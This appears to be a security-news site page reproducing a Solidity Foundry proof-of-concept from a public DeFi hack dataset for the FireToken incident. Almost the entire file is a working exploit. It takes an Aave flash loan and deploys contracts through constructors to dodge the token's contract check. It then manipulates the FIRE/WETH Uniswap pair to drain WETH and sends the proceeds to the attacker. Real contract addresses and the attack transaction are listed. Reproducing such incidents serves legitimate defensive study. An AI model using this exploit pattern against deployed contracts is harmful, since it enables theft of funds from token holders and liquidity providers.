Skip to content
THREATWIRE

Public reproduction file

src/test/2024-10/FireToken_exp.sol

Public reproduction file for dataset entry FireToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-10/FireToken_exp.sol145 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 8.45 ETH (~$20K USD)
8// Attacker : https://etherscan.io/address/0x81f48a87ec44208c691f870b9d400d9c13111e2e
9// Attack Contract : https://etherscan.io/address/0x9776c0abe8ae3c9ca958875128f1ae1d5afafcb8
10// Vulnerable Contract : https://etherscan.io/address/0x18775475f50557b96C63E8bbf7D75bFeB412082D
11// Attack Tx : https://etherscan.io/tx/0xd20b3b31a682322eb0698ecd67a6d8a040ccea653ba429ec73e3584fa176ff2b
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x18775475f50557b96C63E8bbf7D75bFeB412082D#code
14// L274-279, _transfer() function
16// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
18// Contracts involved
19address constant AAVEPool = 0xC13e21B648A5Ee794902342038FF3aDAB66BE987;
20address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21address constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
22address constant FIRE = 0x18775475f50557b96C63E8bbf7D75bFeB412082D;
23address constant UniPairWETHFIRE = 0xcC27779013a1ccA68D3d93c640aaC807891Fd029;
25contract FireToken_exp is Test {
26 address attacker = makeAddr("attacker");
28 function setUp() public {
29 vm.createSelectFork("mainnet", 20_869_375 - 1);
30 }
32 function testPoC() public {
33 vm.startPrank(attacker);
34 AttackerC attackerC = new AttackerC();
35 vm.label(address(attackerC), "attackerC");
37 attackerC.attack();
39 console.log("Final balance in WETH:", attacker.balance);
40 }
43contract AttackerC {
44 function attack() external {
45 IFS(AAVEPool).flashLoanSimple(
46 address(this),
47 weth,
48 20 ether,
49 hex"00000000000000000000000018775475f50557b96c63e8bbf7d75bfeb412082d000000000000000000000000cc27779013a1cca68d3d93c640aac807891fd029000000000000000000000000000000000000000000000001158e460913d00000",
50 0
51 );
53 uint256 balWETH = IERC20(weth).balanceOf(address(this));
54 IFS(weth).withdraw(balWETH);
55 msg.sender.call{value: balWETH}("");
56 }
58 function executeOperation(
59 address asset,
60 uint256 amount,
61 uint256 premium,
62 address initiator,
63 bytes calldata params
64 ) external returns (bool) {
65 while (true) {
66 IFS(weth).withdraw(20 ether);
67 try new AttackerC2{value: 20 ether}() { // To avoid `require(!isContract(to));` L258 FIRE contract
68 } catch {
69 break;
70 }
71 }
73 IFS(weth).deposit{value: 20 ether}();
75 IFS(weth).approve(AAVEPool, 20 ether);
77 return true;
78 }
80 receive() external payable {}
83contract AttackerC2 {
84 constructor() public payable {
85 IFS(weth).deposit{value: 20 ether}();
86 IFS(weth).approve(UniswapV2Router02, type(uint256).max);
87 IFS(FIRE).approve(UniswapV2Router02, type(uint256).max);
89 address[] memory path = new address[](2);
90 path[0] = weth;
91 path[1] = FIRE;
92 IFS(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(
93 20 ether, 0, path, address(this), block.timestamp
94 );
96 uint256 pairBal = IFS(FIRE).balanceOf(UniPairWETHFIRE);
97 IERC20(FIRE).transfer(UniPairWETHFIRE, pairBal);
99 address t0 = IFS(UniPairWETHFIRE).token0();
100 (uint256 r0, uint256 r1,) = IFS(UniPairWETHFIRE).getReserves();
101 uint256 pairBal2 = IFS(FIRE).balanceOf(UniPairWETHFIRE);
102 uint256 amountOut = IFS(UniswapV2Router02).getAmountOut(pairBal2 - r0, r0, r1);
103 IFS(UniPairWETHFIRE).swap(0, amountOut, address(this), "");
104 uint256 balWETH = IERC20(weth).balanceOf(address(this));
105 IERC20(weth).transfer(msg.sender, balWETH);
106 }
108 receive() external payable {}
111interface IFS is IERC20 {
112 // AAVE Pool
113 function flashLoanSimple(
114 address receiverAddress,
115 address asset,
116 uint256 amount,
117 bytes calldata params,
118 uint16 referralCode
119 ) external;
121 // WETH
122 function withdraw(
123 uint256
124 ) external;
125 function deposit() external payable;
127 // UniswapV2Router02
128 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
129 uint256 amountIn,
130 uint256 amountOutMin,
131 address[] calldata path,
132 address to,
133 uint256 deadline
134 ) external;
135 function getAmountOut(
136 uint256 amountIn,
137 uint256 reserveIn,
138 uint256 reserveOut
139 ) external pure returns (uint256 amountOut);
141 // UniswapV2Pair
142 function token0() external view returns (address);
143 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
144 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;

Analysis

Dataset entry

Public Foundry test for “FireToken” (2024-10-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x81f48a87ec44208c691f870b9d400d9c13111e2e

  • Attack Contract

    0x9776c0abe8ae3c9ca958875128f1ae1d5afafcb8

  • Vulnerable Contract

    0x18775475f50557b96c63e8bbf7d75bfeb412082d

  • Attack Tx

    0xd20b3b31a682322eb0698ecd67a6d8a040ccea653ba429ec73e3584fa176ff2b

File record

Name
FireToken
Path
src/test/2024-10/FireToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d849435e01e32adffac176acedf87f195c5f5452
Language
Solidity
Size
146 lines
Date
2024-10-01
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-10/FireToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d849435e01e32adffac176acedf87f195c5f5452, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.